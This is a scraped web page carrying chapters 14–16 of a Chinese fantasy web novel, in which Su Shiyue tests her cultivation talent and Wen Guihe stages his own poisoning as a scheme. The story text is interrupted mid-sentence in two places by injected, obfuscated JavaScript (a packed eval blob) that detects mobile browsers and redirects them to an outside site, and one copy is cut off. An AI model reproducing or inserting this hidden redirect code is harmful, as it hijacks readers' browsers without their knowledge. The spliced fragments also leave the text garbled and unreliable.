莫言阙宽慰她几句,又道:“我不喜欢说谎,所以直言相告。苏姑娘生死,对我等没有意义,更残酷些,苏姑娘死了,对我等才有利。但我的主公教我心存仁善,故而告知苏姑娘。无论你作何决定,我、我们,会保护你。” 她一句一句地说。苏时悦如丧考妣地蹲坐在地,垂头丧气地听完,又烟花爆竹般“呼”地蹿起。 苏时悦抬起手腕。 “这条手串,与它有关吗?” “是。” “我想回家,会面对它吗?” “会。” “它是。”苏时悦以手指天,“他吗?” 她就差直接说出“圣君”两个字,莫言阙竖起食指,抵在唇前,“嘘”了一声。 “有些事,知道得太多,未必是好事。”她道,“关于你猜测的,日后你自会明白,但当下既然做出选择,专注于提升实力才是关键。不然,就会像过去的闻氏那样,黄土白骨。” 苏时悦心领神会,感激地行礼:“多谢您告知我这些,但我还是希望,能够知晓自己因何穿越,能够不拖累任何人活下去。” “能够……”苏时悦唇瓣颤动。 回家。 这两个从不敢肖想的字,无声无息间浮上水面。 她还是没有回家的方向与线索,但至少,她知道未来可能的敌人是谁了。 “我希望能像你们一样,拥有入道的机会,至少,还能挣扎。” 苏时悦呼吸有些急。 莫言阙也不多问,轻轻把手放到她背上,慢慢拍。 “一路上,受委屈了?”她的声音柔和,让苏时悦鼻子猛一酸,双目顿时蒙上层水气。 苏时悦咬咬牙,用力摇头:“没有,最开始几天,确实很无助。但自从遇上鹤公子后,就没有那么困难了。” “那个人啊……”莫言阙回忆了一遍闻归鹤的奇怪行径,又想到苏时悦的话,终是没给他下定义。 她握起苏时悦的手。 “你试着绘过符?” 少女手掌手软,指尖时冷时热,是近几日努力凝聚灵力,却频频失败的表象。 苏时悦红着脸点头:“画过,有好几张成功了。” 废稿已经堆成小山,成功震惊好几次摸出空闲来看她的容枝桃。 “那就说明姑娘颇有天赋,但究竟拥有何种能力,还需进一步甄别。”莫言阙收起地图,用丝带打了个结,送给苏时悦。 “没能从小练起,是有些麻烦,但犹时未晚。山海罗盘刻有道法三千,专用于为有天赋的修士指路。姑娘若是下定决心,便随我来吧。” 苏时悦眼前一亮:“可以吗?” 莫言阙笑笑:“如果不怕的话,自然。” 苏时悦单手叉腰,努力展现自己势不可挡的气势:“要是怕这个,我还能去云州吗?” 莫言阙被她逗笑,抹额的长尾伴随脑袋的摆动起伏。她领着苏时悦往前,来到书房密室中。 开门后,莫言阙退到石门外,从臂腕乾坤环中取出把雪亮弯刀,缓缓擦拭:“出事喊我。” 山海罗盘只有巴掌大,由墨玉雕琢而成,触手生凉。罗盘边缘刻有细密繁复的符文,蜿蜒曲折布满玉石,仿佛大千世界的山川脉络。 苏时悦站在罗盘前,紧张得仿佛窒息,想到谁就求谁。 玉皇大帝,如来佛祖,不管是谁,一定要保佑她有天赋,选一个好的道法。 祈祷完毕,苏时悦一鼓作气,把手按了上去。 嗵。 耳畔仿佛有眨眼声。 眨眼间,浩瀚星图脱盘而出,萦绕周身,深蓝、粉金、银灰。蜿蜒曲折的群星自天边降落,漂浮在她眼前,组成各式各样的图案。 全身的血液在瞬间冻结,又于刹那沸腾。 眼前星辰闪过,苏时悦看到了自己。 握剑的自己,持刀的自己,耍枪的自己,在脑海中纷至沓来。 冰冷纯粹的气息流淌她的奇经八脉,牵动身体,寻找最合适的前路。 灵力在体内横冲直撞,后背很快被冷汗浸湿,苏时悦用尽全力控制自己,才没有在无数杂念中左摇右摆,扭曲至魂体崩坏的境界。 沉重感加强,她在漫漫虚无中极力挣扎,寻找自己的手脚。将灵力当做客人、当做友人,把自己的躯壳视为广纳万物的虚空,引导它们,来丹田做客。 渐渐地,苏时悦的血液平息,天地凝聚她体内的灵力,为她指明道路。苏时悦感受着体内经脉的流动,慢慢睁开眼,循着光点低头。 手心处,浮现恍若丝线的蓝光。蓝光汇聚成条条丝线,自指尖始,相互交织,翩跹绽放,组成天蓝花束的模样,一张一缩地弹动。 这是,什么? 苏时悦少见多怪,懵了一瞬。细长柳眉挑起,杏眼中攀上惊愕。 她打算收势去问问莫言阙,刚打算放手,猛然意识到一件极其可怖之事。 她撒不开这个罗盘了。 法阵轮转时,苏时悦的手心仿佛被胶水黏住,动弹不得。她越用力,吸力就越足,无形的手攥紧她的手腕,拖着她一步步往星图中走。 苏时悦登时出了一身冷汗。 她咬紧牙关,抓住腕骨,拼了命地把手往外拔,一脚踹在罗盘上,口中高喊:“莫领兵!” “救命啊,那个伪神果然不是好东西。” 说了有事就喊,她绝对不逞强。 与此同时,在她看不见的角落,一张金符斜刺里窜出,无声无息贴到苏时悦后背,拦住她前移的步伐。 莫言阙也于此刻冲进来,刻满铭文长刀挥出,凌厉刀气呼啸,裹挟雷霆万钧之势,对上罗盘中的附着之物。 刹那之间,光芒大盛,刺得人睁不开眼睛。扭曲的轰鸣中,浓郁的灵力仿佛化作实质雾气。罗盘粉碎,密室崩塌。苏时悦跌坐在地,毫发无伤。 她后背的金符,亦在此时抽离。符纸飘出一段距离,转过几个拐角,落到少年手中。 闻归鹤捏住金符,片刻后,撤去贴满府邸内壁的起爆符。 书房陷落一半,崩碎之声不绝于耳,动静之大,想瞒也瞒不住。少倾,大半个集市的人都会蜂拥而至,根本不需要闻归鹤刻意设计。 闻归鹤一边盘算,一边与闻声赶来的侍从仆役一同来到摆放罗盘的书房。 透过断壁残垣,闻归鹤看到苏时悦衣袍染尘,灰扑扑地窝在地上。哪怕心中明白她无事,仍不自觉加快脚步。 走到近前,他看清了苏时悦的表情。 她在笑。 在被窗棂截断的碎碎光熙中笑,满脸土灰,跌坐在废墟间笑。 闻归鹤见过许多苏时悦的笑容。 初见时意有所图的笑,被血色惊骇时强挤出的笑,还有生病时,委屈又倔强的苦笑。 但这般生机盎然,神气又恣意的表情。 他不记得自己见过。 好似在无尽黑夜、漫长绝望中,猛然看到一束天光,有了前进的动力。她被吓得腿软,没力气起身,就四爪并用往墙根处爬。爬过去,抱起卷图纸,靠着墙壁仰起脸笑。 一直以来,如同隔雾观花,朦胧不清的身影,骤然明晰几分。 闻归鹤很快注意到另一件事,疾步上前,屈膝半跪在苏时悦面前。 “苏姑娘的手怎么了?” 听到他的提醒,苏时悦忙低头,方才注意到自己指尖渗出斑斑血迹。她一时半会儿没回过神,忍不住用力握拳,顿时因为十指连心痛得倒抽口冷气。 “嘶。”苏时悦五官挤在一起,勉强笑道, “没事,大概是罗盘问道时与天角力,用力过猛,不小心受得伤。” 她心念一动,指尖又一次聚起凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻归鹤的目光倏地变暗,更是几不可查地皱了皱眉。 他没有想象中那般高兴。 他从心底感受到一股恐慌。 形似于失控的恐慌。 闻归鹤的呼吸,一时有些紧。 很快,少年垂眸,弯了弯唇,压下心头杂念。 不是已经确定了吗?她是属于他的,绝无其他可能。 莫言阙来到后院,看着一地狼藉,苦中作乐长叹一声:“还好只是毁了个屋子,没把潜藏的东西引来。” 苏时悦把头摇得跟拨浪鼓似的:“多谢厚爱,但还是免了。” 她已经弄坏了一间屋子,实在没脸继续留着。表达完自己的想法 却见闻归鹤递来一方崭新的手帕:“手上的伤,先擦擦吧。” “我并未觉得姑娘的能力无用。”他正容道。 苏时悦顿时笑起来,她接过手帕,擦拭指尖鲜血,用力点头:“嗯,我知道。” 越州府外人山人海,城民听见动静,一窝蜂地聚拢。不顾守卫阻拦,拼命往里挤看热闹。 容枝桃更是冲在最前面,直接进入府邸,左一声“老师”,又一句“苏姑娘”,急得不行。 她见到苏时悦,才松了口气:“怎、怎么回事,好好的房子怎么塌了,还是石墙呢。” 苏时悦信口胡诌:“是这样的,我向莫领兵请教符法。莫领兵见我好学,便传授我起爆符。然后一不小心,把书房炸了。” 说得害羞,挠挠后脑。 苏时悦认真细致地讲解,连府内的仆人都听得津津有味。但小姑娘态度太好,又讲得过于诚恳,他们总觉得不够刺激。 见以为黑衣公子也牵马出门,一言不发,顿时起了兴致,呼啦一下围上去。 “公子,请问您也参与了教授起爆符的环节吗?” “这位姑娘炸翻书房的时候,您在现场吗?” 看,不管问多少问题都三缄其口,这才像是不识庐山真面目的幕后高人嘛。 闻归鹤面对人山人海,依然是一副风轻云淡,无悲无喜的模样。被人追问爆炸原因时,不过微微点头,朝马厩走去。 马厩中,黄骠马脖颈塌落,无精打采地埋进草料堆。 闻归鹤接近的脚步声传来,它一个激灵,仿佛受到严重刺激,甩起脑袋,发出嘶鸣。 闻归鹤朝身后瞟,看到聚集的人群,含笑打开马厩门。 黄马暴躁不已,浑身震颤,见到活人,离弦之箭般窜出马槽,高抬双腿,朝他的前胸很踢过去。 ——骤然间,马蹄往旁一偏。壮硕骏马失去平衡,“砰”地侧倒下去,四脚朝天,撞得食槽翻倒,草屑纷飞。 闻归鹤诧异挑眉,疑惑回首,正看见苏时悦面色煞白地站着原地。指尖丝线收束,抬脚匆忙上前:“没事吧?伤着没有?” 迎上他惊讶的视线,少女将手一叉,抱在胸前:“别那么惊讶嘛,我又不是吃干饭的,只要有能力,我就会帮忙。” 她笑得鲜活又灵动。 若非对他有目的,又怎么可能,会对他露出这样的笑颜? 15.第 15 章 “鹤公子,你怎么不躲!”见闻归鹤迟迟不答复,苏时悦关切问。 闻归鹤摇头:“一时惊讶,没反应过来。” 苏时悦重重叹了口气:“怎么能关键时刻掉链子,还好我在。” “不过……”她望着手心,双眸发亮,“果然是术业有专攻,前脚还在抱怨凝练之道不好,后脚就让我遇上用武之地。” 闻归鹤怔了怔,像是终于意识到自己被护住。 他轻轻摇头视作回应,垂下长睫,眼底波光略动,终是没忍住,暗自看向苏时悦。 似是因为看得有些久,引起苏时悦的注意,一道关切的目光朝他投来。闻归鹤连忙扭头,避开她的视线。 “怎么回事?”闻归鹤兀自纠结时,莫言阙第二个赶上。 她上前两步,看见地上四脚乱蹬,拼命挣扎的黄马,当即上前,横跨到其身上压住它。 莫言阙拨开黄马耳后柔软细毛,两指探入,拔出一根银针。银针出脑,黄马像泄了气的皮球,萎靡在地,一动不动不再动弹。 莫言阙眼色一沉,厌恶地开口:“是妖毒。” “想杀闻公子的人,恐怕是为昔日紫极宗之事而来。”她站直身子,朝闻归鹤道,“为避免受罚,宁与妖邪勾连,也亏他们想得出来。” “恕我直言,公子如今身份特殊,留在越州恐有危难。要么暂住我越州府,要么立刻离开,才能保全己身。否则,十死无生。” 她这番话,对着闻归鹤说。却被一旁的苏时悦听了个分明,当下心中凉了半截。 又见闻归鹤行礼道:“多谢领兵忠告。我此行来,只为向容家告知闻氏情况,既然消息已带到,即日便会离开。” 苏时悦心中剩下半截也凉了下去。 闻归鹤要走了? 那她该怎么办? 苏时悦原以为,哪怕心中目标动摇,她至少还有充足的时间考虑。不曾想事态发展如此突然,她连仔细斟酌的时间都没有,就被催着速速做决定。 她的心中翻天覆地,连如何浑浑噩噩坐上马车都不记得。回到厢房后,更是急得团团转。 由奢入俭难,哪怕明白自己处境危险,知道自己可能会带来麻烦,快快离开,对双方都好。情感上,她是个再普通不过的弱者,渴望依附强大的修士,不想脱离安逸,置身于危险中,实在是人之常情。 她的敌人不止时刻会冒出的妖魔鬼怪,还有三尺之上的“神明”,怎么可能不害怕。 苏时悦抱紧双腿,蜷缩在床上许久。直到太阳渐渐西沉,她自暴自弃地翻身而起,撑开竹窗,从阳台上收起晾干的膏药。 这几日,她一直惦记闻归鹤的手伤。苏时悦从容枝桃口中得知,修士受伤、生病,治疗方式与凡人无异后,暗中搜集不少疗伤药。 乳香、没药、当归、川穹已经被她一一洗净晾干,研磨成粉,与蜂蜜搅拌,抹在棉布上,刚好给闻归鹤送去。 趁此机会,把她的情况一五一十说清楚吧。苏时悦无法违背本心,痛快做出离开安乐窝的决定,但她可以将她的现状和盘托出,交予闻归鹤做决定。 是去是留,都是他一句话的事。 苏时悦打定主意,动作也加快不少。 她将药贴收拢、封装,仔仔细细排满一盒。宝贝似的收入揣进袖中,从厢房走出。 酒红色的夕阳宛如绚丽画布,将三千小世界包裹其中。苏时悦走在院中,仰起头呼吸空气,稳定情绪。来到闻归鹤房间,得到允许,推门而入。 闻归鹤的住所洁净素雅,没有多余摆设,好似暂居其中的主人。 少年一袭黑衣,手捧书卷,抵坐窗边。见着苏时悦,眼角掠过丝了然,又迅速转动瞳仁,敛去眼底眸光。 “苏姑娘怎么来了?”他含笑,“刚好,我对姑娘的能力有些见解。若姑娘不嫌弃,我可斗胆给些建议。” “我是来给公子送东西的。”苏时悦深吸一口气,按捺住鼻尖酸楚。 她神秘兮兮,笑盈盈地取出药贴,甫一打开,草药的清香,蜂蜜的甜腻,立刻缭绕屋中。 闻归鹤握住书卷的手又紧了几分:“这是何意?” “之前不是说了吗?我会带药过来。我特地求了容姑娘,药材用的都是上等,都是我亲手制作,不必担心偷工减料。”苏时悦道。 腹稿早已打好,可她张了张嘴,却发现自己说不出口。她稳住心跳,努力撑出一个笑容: “请公子伸出手来。” “苏姑娘看起来,有些勉强?”闻归鹤的长眉与唇角同时上扬。 “怎么会,没有的事。”苏时悦手中木盒险些坠地,着急忙慌辩解,“只是先前黄马事件着实吓人,我到现在还没缓过神来。” “是么?”闻归鹤不置可否。 他取过茶水呷了一口,解开护腕,主动卷起袖子,把手递到她面前。 从表面看,闻归鹤的皮肤白皙光洁,看不出受伤的痕迹。苏时悦明白,闻归鹤用了某种术法祛除疤痕,却没有治愈内部的旧伤。 她打了水,取过湿布擦拭一圈,再将棉布轻轻贴上。 “会有点凉,不要紧的。”她的语气像是在哄孩子,用指腹细致压平四角。 闻归鹤一动不动,乖巧得像是她第一次为他包扎时一样。 “这样就可以了。”苏时悦长舒一口气。 跌宕起伏的心绪,也在此时渐渐平息。她松开药膏,抿了抿唇,低声问。 “鹤公子,今日便打算走吗?” “……嗯。”他回答得有些吃力,像在忍疼。苏时悦满脑子都是未来的分别,并未察觉异样。 她的声音越来越低:“先前莫领兵喊我过去,告诉了我些事。公子是我来到越州后认识的第一个人,我想与公子分享,不置可否……” 没有回应。 没听清吗? 苏时悦刚想再问,眼前忽然绽起一朵红花。 雨珠从天边来,滴落在棉布上。 哪来的红墨水? 苏时悦视线上移,呼吸骤然停滞。 少年依然是神情恹恹的模样,长睫不住地忽闪。 夺目的鲜血顺着他的嘴角,一滴滴淌下。他仿佛感知不到痛苦,伸手抹去,更多的殷红涌出。他听到她的问题,开口想说话,又是一大口血。 “鹤……”苏时悦喊他到一半。 他的身子晃了晃,毫无征兆地往前倒去。 倒下的同时,有人冲上去,稳稳把他接住。 声音充满焦急。 “闻归鹤!!” 什么身份特殊,什么在劫难逃。 闻归鹤倒下的那刻,苏时悦把自己想说的话全部抛诸脑后。 身体比大脑先一步反应,在他俯身时,飞快扑了上去,一把搂住他。 木盒“砰”地砸到地上,齐整放置的药膏七零八落摊了一地。又是一声轻微的响,苏时悦抱着少年摔在地上。 “出什么事了?”苏时悦声音颤抖,“……是惊马的主使又动手了吗?” 发生了什么? 为什么会这样? 太多疑问汹涌而来,苏时悦的思绪化作一团乱麻。 她的手粘上闻归鹤的血,黏黏糊糊,很不好受,而她浑然不觉。 闻归鹤似乎不适应有人搂着他,吃力地动了动,想要挣脱。 他扶着她的肩,慢慢撑起身子,却又陡然失了力气,一歪,陷进她怀里。 他半合双目,血水不住从嘴角溢出不一会便湿了她的半边衣裳。 “那杯,茶。”他不住咳嗽,腰腹部绷紧,难以自抑地颤抖,“容家,送来的。” “有毒?”苏时悦反应半拍,才猛地回过神来。 “谁做的?为什么,不对,你别说话,我背你去找医修。”她从未遇到过此类情况,不禁手足无措。 语无伦次地说到一半,手被握住。 闻归鹤摇了摇头:“十之八九,是二当家。” 许是因为剧痛,他的气息愈发微弱。 他侧身往她怀里缩了缩,极力抬手。 “去找,容枝桃,她…她知道该怎么做。”血水落在手背,殷红般般,触目惊心。少年面上泛起病态残红,像一尊一触即碎的玻璃瓷。 闻归鹤艰难地眨眨眼,挤出一个安抚的笑容,“我没事的,放心。” 抬手,做了个轻推的动作:“拜托了,苏姑娘。” 他声音微弱,带着软意,刀子一般扎在苏时悦心口。她惊恐地看着他不住呕血,连扶他上榻歇息都来不及,松开他,起身,拔腿往门外飞奔。 她前脚离开,后脚,少年重新睁眼。他的眼中没有恐慌,亦不存在感激,唯有几分漂泊无定的揣测。 捂住腹部的手松开,抹去嘴角的血污。闻归鹤轻喘着气,撑起身子,当空描绘通讯用的符文。 灵符画到一半,忽然一阵脚步声传来,由远及近,迅速来到门口。闻归鹤刚点散灵光,木门“砰”一下,被人推开。 “我忘记了,我有能帮到公子的东西。” 苏时悦从院中冲回,鬓角上尽是冷汗,湿漉漉的,如同刚从水里捞出一般。看见闻归鹤扶住桌案,慌忙奔过去扶他。 “怎么起身了?你别乱动,毒素会扩散的。” 她三步并作两步,来到闻归鹤身边。竭力稳住发抖的手指,从袖管取出一个小瓶子,使劲儿抠开瓶盖,倒出容枝桃送给她的解毒丹。 撑住他的腰,把丹药递到闻归鹤嘴边。 “来,容枝桃给我的,说是她们家族专门研究的解毒药丸。”她无比庆幸当初急中生智,问容枝桃索要丹药。 闻归鹤眼角掠过丝讶异,鸦青色扇睫垂落,遮住眼底色彩。 “不必……”他虚弱至极,连声音都显得苍白。 “她只给了你一颗,我不会有事,自留……为上……” 他话未说完,苏时悦已经将药丸塞入他口中。她一手捂住他的嘴,一手抵住他的咽喉,为控制自己的力道,她的五官都显得有些蛮横。 苏时悦不吃他临危不乱那一套:“公子庇护我一路,我如今不过是略尽绵薄之力,何必退让。” 说话间,寻到他的喉结位置,往下一按。 闻归鹤唇齿溢出声闷哼,喉头上下滚动,被迫将解毒丸吞咽下去。 丹药入口即化,化作甘露顺着咽喉流下,缓解小腹与喉咙的剧痛。 苏时悦紧张地扶着闻归鹤,直到看见他面色稍霁,扶着桌案轻轻喘息,方才松了口气:“如何,有没有好些?” 闻归鹤低下头,指尖用力,修长五指骨节凸起,良久才说出一句连贯的话。 “多谢。” 苏时悦听见他平缓的话语,绷紧的神经松懈,整个人不由自主往下沉。她的背脊抵住书案结实的桌腿,腿脚发软,完全丧失起身的力气,几乎瘫在地上。 “没事就好,没事就好。”她抚着他的后背,不住叨念。 好半晌,记起闻归鹤说的话,前言不搭后语地回道:“没什么好谢的,我扶你去榻上躺着。” 苏时悦慢腾腾起身,又一次伸手。 闻归鹤没有反抗,顺从地把力道施加到她身上。 他一直紧紧交叠的里衬散开,露出颈部大片皮肤。身上洋溢着一股独属于他的清香,驱散厚重的血腥,往她的鼻子里钻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357558|167968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 苏时悦扶他到书房木榻上时,闻归鹤的眼睛已经闭上。她心中一慌,无法抑制地发抖,忙伸手去探,感知到冷冽的呼吸,这才平静下来。 临走前,她握了握他的手,许诺:“我去找医修,很快就回来,鹤公子别担心。” 苏时悦跨过门槛,用平生最快的速度狂奔至正厅。 残阳如血,映得天空红得发紫。 冲至容院正厅时,厅堂气氛僵宁得吓人。容氏族人剑拔弩张,争执几乎一触即发。 苏时悦隐约能听见“圣君”、“神罚”等词,但什么都顾不得,使劲推开阻拦她的侍从,硬生生闯了进去。 “容家的客卿出事,有性命之忧,请各位快些派遣医修前往。”苏时悦急声喊。 听得此言,容枝桃与容文赋同时转头,异口同声地震惊:“什么?” “鹤公子出事了。”苏时悦朝容枝桃道,“是中毒,有性命之忧。” 容枝桃当机立断:“我立刻派人去救治。” 她点了点容文赋与长老:“二位随我一同前往,看看发生何事。” 言毕,直接离开正厅,朝客房走去。剩余几人神色各异,低声交谈、呵斥几句,不情愿地跟随。看到屋内一片狼藉,以及静躺着的少年时,脸色就更难看了。 少年早已陷入昏迷,安安静静躺在那儿,面白如雪,睫毛梳梳垂落,身子伴随偶尔的轻咳颤动。 “是容氏密毒,只在主家存放。”容枝桃带来的医修诊治完毕,行礼禀报,“幸好及时服下解毒丸,对症下药,不然,后果不堪设想。” 他取过闻归鹤喝茶的杯子,闻了闻:“的确是在茶水中下的毒。” 医修仔细检查,又补充道:“除密毒外,还有一丝妖气,恐怕……” “你胡说什么呢!” 容文赋大喝一声,打断医修的话,恨不得冲上前撕烂他的嘴,“你莫不是在指桑骂槐,说我串通妖族,谋害客卿?” “他是大小姐的客卿,我又与他产生过争执。我若害他,岂不是作茧自缚,不打自招?” 他忽地想到什么,径直朝床榻走去:“他当真中了毒?” 苏时悦怕他忽然动手,张开双臂护住闻归鹤,满脸愤怒。 “搞不好是你做的。”容文赋斜一眼苏时悦,猛地抬手指向她,“哦,我知道了,莫不是你们合作演戏,想要败坏我的名声,送大小姐上青云。我告诉你们,我完了,容家也完了……” “放肆,来人,拿下。”容枝桃扬声,打断他的话。 立刻有修士上前控制住场面。 苏时悦却猛然一怔。 情况不对劲。 如果是容文赋,他把凶手两个字写到脸上,图谋什么?而容枝桃此刻的状态,也不像证据确凿,倒像是不管三七二十一,先把人关起来再说。 脑海深处,响起声轻微的弦动。 容府的波动没有因苏时悦的思绪而停止。 她望着抓住时机一鼓作气夺权的少女,以及自乱阵脚,脸红脖子粗的男人。 脑海中的弦动声逐渐变大,变作接连不断的轰鸣声,眼前像是有一道闪电划过,零散的拼图碎片一片片自动拼接。 眼花缭乱的恍惚中,苏时悦仿佛看见一杆天平,家主的两位亲属一左一右,堆积势力,堪堪达成平衡。 忽然之间,无形大手从天而降,玩闹般地在一端重重一按,逼得敌方人仰马翻,溃不成军。 苏时悦的脸色微变,刚巧,容枝桃紧张地朝她看过来。 苏时悦忙朝她眨眨眼,假模假样做戏:“不是二当家还是谁,可怜鹤公子与你无冤无仇,却被你数次针对。” 医修与容家人离开后,厢房中只剩下他们二人,苏时悦才放下手,一步一顿地来到少年身边。 屋内一片死寂,安静得连根针掉在地上,都能听得一清二楚。 不知过了多久,苏时悦打破沉默。 她轻轻吸了口气,又重重叹了出去。她来到床前,见闻归鹤未醒,重新换了盆干净的水,替他洗去脸上血渍。 “你说你,天天不是假笑就是冷脸,根戴着副面具似的,让人捉摸不透。还有这身衣服。”她没敢帮他更衣,不自觉嘀嘀咕咕,“你一直穿黑衣,不会是因为受伤后方便遮掩吧?” 闻归鹤不回答,苏时悦也不奢求回复。帕巾被染红,她洗净,绞干,擦拭从他惨白额头流下的冷汗,顺手把裹手腕的棉布也拆下。 “容文赋说得没错,不会有人傻到作茧自缚。但是,甘愿吞下剧毒,只为帮助与自己无关的势力,似乎更加匪夷所思。”她拉起被子,帮他掖好四角。 “鹤公子,你……” 若是苏时悦修为步入灵韵境,必能察觉周围微妙的灵力波动,若她是化神境的大能,只消一抬眼,便能看见少年魂体居高临下注视她。 厢房角落,护身符法与神魂出窍的大阵轮转,恍如黑夜的点点星河,避开所有人的目光,孤寂而无声地闪动着。 闻归鹤身处半空,随时可以离开,却面色复杂地停下脚步,在她的身畔细细端详。 可惜苏时悦只是普通人,对此一无所知。 她只在坐定后,凝视少年的面庞,俯下身,直到即将触碰闻归鹤挺翘的鼻尖。 “你”了半天,才敢用颤声: “你是故意的,是不是?” “惊马、毒茶,全是安排好的,是不是?” 她的声音没有被隐瞒的气恼,也没有谴责或是威胁,只有无尽的担忧,掺杂一丝悲戚。 捏被子的手紧了紧。 “鹤公子,你把自己当什么了?” “棋子吗?” 16.第 16 章 “要是我没来,你莫不是准备在地板上躺一天。直到容枝桃迟迟未见你辞行,赶来看望,才能发现你?” 他来越州城,到底有什么要紧事,让他不惜采取极端手段达到目的。 苏时悦又好气又好笑,险些仗着闻归鹤未醒,在他脸上戳几下。 少年安静地睡着,对她的絮叨没有任何回应。 “算啦。”苏时悦叹息。 她对着个昏迷的病人说什么,想说的话,等他醒来再告诉他好了。 厢房陷入安静,大开的门扉后,深红色的光芒如水淌入,穿透屋中半透明的魂体。 时间前移,苏时悦接近门扉时,闻归鹤正在摆弄那瓶见血封喉的剧毒。 随手把解药炼化成符,丢进角落。 听到敲门声,闻归鹤拧开瓶盖,仰头,将无色无味的液体尽数倒入口中。 他想看看苏时悦的反应,也想看看,如果承伤一方服毒濒死,另一方会如何。 可惜,哪怕他命悬一线,她依然安然无恙,半点儿事都没有。 这本是意料之中的事,没什么值得失落。 之后的事,却超出闻归鹤的预期。 她能猜出他的想法。 而他并未因被揣测而生气。 甚至,有些开心。 似是因阳光太过刺眼,少年垂眸,回转视线,俯视沉睡的自己。 许久,一声叹息,于夜幕中离开容府,朝目的地飞去。 新月无光,唯有深秋疾风吹动枯柳。 越州城依山而建,城墙以西,群山连绵。山谷中,一道银色结界若隐若现。其内瘴气弥漫,黑影幢幢。 月上中天时,半透明的魂体驻足在结界前,静静等待。 直至银白几不可查地闪烁,他身形一晃,飘然入内。灵力运转,驱散扑上的邪物,大步流星,长驱直入。 城内容府,由于二当家牵扯进大案,禁地钥匙正在易主,灵力更迭,是神不知鬼不觉出入的最佳时机。 魂体如入无人之境,熟门熟路来到山谷最深处。 闻归鹤拨开迷雾,看着眼前黯淡无光的景象,面上神情微变。 他用灵力凝出寻物符文,当空一抛,金色光点环绕山谷一周,又回到他的手中。 闻归鹤挑了挑眉,面露讶异。 “几处地点均已搜查,确认天都神印遗失。” 他随手写下几笔,灵力凝做信件,往西北方向送,蓦地转变主意。又当空合掌,一连捏了好几个手诀,一枚小印出现在手中。 金印直线锋利,纹路精致。印壁画了颗鸽子蛋大小的圆珠,仿佛一颗耀眼的钻石。 闻归鹤将其放置到它应在的位置,指尖一摆,一颗火星悄无声息落地。 静谧的夜色,寒风徐徐飘过。忽有一物恍若流星坠地,“砰”地砸在深山中。 西天被火光应得通红,惊起全城人从睡梦中醒来,奔逃呼喊将消息通知容府。容氏听说禁地出事,赶忙去救援,一时间全府上下点灯,光芒亮如白昼。 唯一依旧昏暗的,是第四进的厢房。 铜炉在角落中安静地煮着,苦香四溢。以往活力四射女孩儿卷起袖管,心事重重地坐在窗边书桌旁,抬头看银色的月亮。 忽然,她似有所觉,往榻上看去。 沉睡的少年恢复意识,手指动了动。 长睫微颤,往肺腑中吸了口气。紧接着,便是无止境的咳嗽,吓了苏时悦一跳。 他呼吸混乱,努力想起身,却没有力气撑起身子。只能扣住榻边,绷紧背脊,竭力侧卧。 苏时悦慌忙奔过去,扶他起身。闻归鹤勉强坐直身子,仰脸,胸脯急促上下起伏几下,总算喘匀了气。 肩上一沉,暖意涌上,有人为他披了件衣服。 熟悉的声音响起,苏时悦道:“西山禁林无端起了大火,那儿好像存有容家重要的法器,大半个家族都冲去救援,希望不会有事。” 她取了几个软枕,垫到他身后,扶他靠着。 漆黑一片的房间里,闻归鹤一下子认出说话之人。 他抬起眼睫:“我睡了多久……” 苏时悦:“两个时辰。” 苏时悦点亮一豆烛光,火光点点,柔和她的轮廓。烛光昏黄,投下斑驳的影子,他清晰地看见她眼底一宿未眠的疲惫。 闻归鹤轻声道:“多谢。” “可苏姑娘不该在这儿。州城不比边疆外的大荒,须得遵循传统礼制。姑娘夜不归宿,反而留在我这儿,是会被说闲话的。” “我管不着。”苏时悦坐在床边小凳上,“我有话要和你说。” 她的五官绷得紧紧的,眉头更是弹跳得跟跳舞似的。 “我记着。”闻归鹤颔首。 “苏姑娘说,要与我分享在州府内的遭遇。” 他像是忘记中间发生的一切,把话题引回苏时悦寻他的那个下午。 “不是这件事!”苏时悦忍无可忍,面上飞起薄怒,像点燃了的炮仗一样,“嘭”地炸开。 她一拳头砸在扶手上:“鹤公子,您太不把自己当回事了吧?你怎么确定我会来找你?要是没有解毒丹该怎么办?死在这儿吗?” 她不行,恨不得抓住他的领子狂摇。碍于闻归鹤是病人,只能朝死木头发泄。 “有人会担心你的。”她不知道自己在闻归鹤心中分量是多少,只能模糊主语。 闻归鹤面无表情,右手不受控地抽搐一瞬,刹那间多出一片红印。 “角落布有解毒法阵,我不会有事。”他脸歪到一旁,低声道,“暗处的布置,我也安排好了。哪怕我昏迷不醒,你也很安全。” 苏时悦顿时生不起气来。 他都这副模样,她再说教,未免太残忍了些。 苏时悦叹了口气:“鹤公子既然醒了,便把药喝了吧。” 闻归鹤这才发现,屋内充斥苦药味。他恢复些力气,努力直起身子。眼睁睁看着身形高挑的少女手捧药碗,越走越近,风轻云淡的脸上竟浮现一丝挣扎。 “我不需要。” 苏时悦看出他眼中的回避,把药碗送到她鼻尖:“公子中的毒非同一般,须得长期服药。” 她专程向医修询问过闻归鹤的情况。 医修鲜少遇到如此棘手的病人,提起来就愁眉苦脸:“毒药是家族秘法,自然有对应的解药,不必担忧。问题在于,那位公子患有心疾,若不及时救治,恐有生命危险。” “心疾?”苏时悦第一次听说闻归鹤的病症。 医修唉声叹气:“其实从他的面色,便能看出端倪。不过如此严重,我着实未料到。他脉象细弱,心气、心阳都极度衰弱,明显气血不畅。想要养身,需多眠少动,药物调理同时,尽可能多加歇息。” 闻归鹤的实力太过强悍,以至于苏时悦常常忘记他是名需要照顾的重病之人。如此病症,还整宿整宿的熬夜,就算未来不遇到 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苏时悦略有些失落。 除去基本的关心,她还有些话想和闻归鹤说。但看眼下的情形,那些话并不适合说出口。 她默默把药碗收起:“既然如此,我便不打扰鹤公子休息。还望鹤公子保重身体,不要像现在这般糟蹋……” 苏时悦的声音越来越低,直至消失无踪。 她轻手轻脚起身,无声离开房间。 